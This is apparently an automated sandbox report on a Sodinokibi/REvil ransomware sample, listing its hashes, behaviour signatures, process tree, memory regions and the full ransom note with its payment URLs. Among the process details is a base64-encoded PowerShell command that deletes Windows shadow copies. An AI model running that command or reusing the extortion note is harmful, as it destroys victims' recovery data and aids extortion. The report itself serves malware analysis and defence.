Resubmissions

23-08-2021 11:20

210823-t1dtqdz8re 10

23-08-2021 11:07

210823-hc4vgt17ej 10

15-07-2021 18:16

210715-yseshdmscj 10

Analysis

  • max time kernel
    1617s
  • max time network
    1842s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    23-08-2021 11:07

General

  • Target

    0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e.exe

  • Size

    164KB

  • MD5

    65ff37973426c09b9ff95f354e62959e

  • SHA1

    b53bc09cfbd292af7b3609734a99d101bd24d77e

  • SHA256

    0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e

  • SHA512

    c16a2997db332a9485a4d10e55c02932de06af05b15b92d64191fd3025da4b1d5be3bd630421cec410b5f03e49641ff2bdf4ad7004d70d9e03635c712ccc632c

Malware Config

Extracted

Path

C:\srvj32py78_Wannadie.txt

Family

sodinokibi

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension srvj32py78. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C76C1C57088AFC4 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/3C76C1C57088AFC4 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: xComzgd+lVriMYFGOw+NIgltMBPfCPhryTeYLzxH5k8HXX0EoMANTTdX0uCnTbYW O+zoI6SiJAXCLL91vzXdEEtseZk0oqPOBnGlwlsweG7bZ4ZmgOCXHw9EUxAug7Qg MXpU2h7y/AYZ6lVjOH4LodNYIMtWf7qQBaJ5x9/CJrHIFiVbaDH/+S9bJlEFWWcD VG1uTkWBfLiyrY24zVMKiqthktaNxsrbeXNVL/8BfH2c5Q1+RQDfDzc1XmlB+LX4 7cfYX/DLl/eiK9pfNlASA7D0TQMa4D2YHq05mo1JLvAYldNAfYszi/jomks/Hcss FXSz/4KddQbe7qOkAr1tOUNHQHQw1FC/23futsZ4/vcilVTL37A3L7fMa0WKv9ey n51uXFgBvIPU2F2Dz97xF3B+iC/zWsOHQrwIp8ezF9wMOZo+tsppf8H7S9juhLpD ypl2/LxdzyPXKyiKn9C9/iDPlLjl3VbI03KM1fvINjGfcEj0AFjeYuJ0rRnTru7l TctENSw14VQq/26G/+rK5lIGG0T8eFiLAbn1GhaF2ik0HQDJvgP3uKiRICHU4rO0 ZhMohTA8qCiJ+DnE522xbx+J66Z9rpDoMjyFd1GMTrimgfj+mHam5IY10YpEcZvp YL19UQF/AU+5ghm2BeC0haM1OaoNzpb33gC4ZDDs1y0y006euX1TeeqiGb0akBWJ thmR6wnqRSIsB7NJy90HGE0IcXPaG5PU5xK6zSgk7MY3ucijvkyA1GTq6uHL+bvn 3CuFz7BdpdEujnZ3YSiKsPqEiEEEUbt7ymvKxNnamPKyTio3QRaB01zzfmV3s8K5 YNOAkc3RVelRFJffpNwCcvJYHT/2nPgJDvC3GAScqbZyqX3hZgCM9dywpbxshUR1 FUq8v2gFR4tOhAxTXqAJZYDuCjHrfVaudX7YbavEM6xm33ND6q3mkplVM5NMVVLJ HUf40lOpePa0kkUocJ8hAJsT33UUw4wnQCwGDbEQ0VHDmzxV6Ip136rVlAal/n1I RAWRP9A1JaegLHofYNDWYgLbeEPDoYmzZjQwH1n1kXT2Rza08+Tv58gBuM7vtBUX jnRFgtNPccm6YDj5WAWJ9lefyrwWLimyrXWeGmD8vD250sGSbEGnhM8nVoH6ZsI2 vSEpI6JGOLG077pFWe1EpoLspxE= Extension name: srvj32py78 ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/3C76C1C57088AFC4

http://decryptor.top/3C76C1C57088AFC4

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • suricata: ET MALWARE Known Sinkhole Response Header

    suricata: ET MALWARE Known Sinkhole Response Header

  • Modifies extensions of user files 7 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies system certificate store 2 TTPs 14 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e.exe
    "C:\Users\Admin\AppData\Local\Temp\0e37d9d0a7441a98119eb1361a0605042c4db0e8369b54ba26e6ba08d9b62f1e.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1816
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1116
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:1668
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1504

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1116-71-0x0000000000000000-mapping.dmp
    • memory/1116-79-0x000000001B5A0000-0x000000001B5A1000-memory.dmp
      Filesize

      4KB

    • memory/1116-78-0x0000000002500000-0x0000000002501000-memory.dmp
      Filesize

      4KB

    • memory/1116-77-0x000000001AAD4000-0x000000001AAD6000-memory.dmp
      Filesize

      8KB

    • memory/1116-76-0x000000001AAD0000-0x000000001AAD2000-memory.dmp
      Filesize

      8KB

    • memory/1116-75-0x00000000025E0000-0x00000000025E1000-memory.dmp
      Filesize

      4KB

    • memory/1116-74-0x000000001AB50000-0x000000001AB51000-memory.dmp
      Filesize

      4KB

    • memory/1116-73-0x00000000025A0000-0x00000000025A1000-memory.dmp
      Filesize

      4KB

    • memory/1116-72-0x000007FEFB881000-0x000007FEFB883000-memory.dmp
      Filesize

      8KB

    • memory/1816-65-0x0000000002650000-0x0000000002759000-memory.dmp
      Filesize

      1.0MB

    • memory/1816-70-0x0000000000160000-0x0000000000166000-memory.dmp
      Filesize

      24KB

    • memory/1816-68-0x0000000000140000-0x0000000000141000-memory.dmp
      Filesize

      4KB

    • memory/1816-69-0x0000000000150000-0x0000000000151000-memory.dmp
      Filesize

      4KB

    • memory/1816-67-0x0000000000130000-0x0000000000131000-memory.dmp
      Filesize

      4KB

    • memory/1816-66-0x00000000000E0000-0x00000000000EA000-memory.dmp
      Filesize

      40KB

    • memory/1816-60-0x0000000075631000-0x0000000075633000-memory.dmp
      Filesize

      8KB

    • memory/1816-64-0x0000000000960000-0x000000000097F000-memory.dmp
      Filesize

      124KB

    • memory/1816-63-0x00000000022A0000-0x00000000023CD000-memory.dmp
      Filesize

      1.2MB

    • memory/1816-62-0x0000000002200000-0x000000000229F000-memory.dmp
      Filesize

      636KB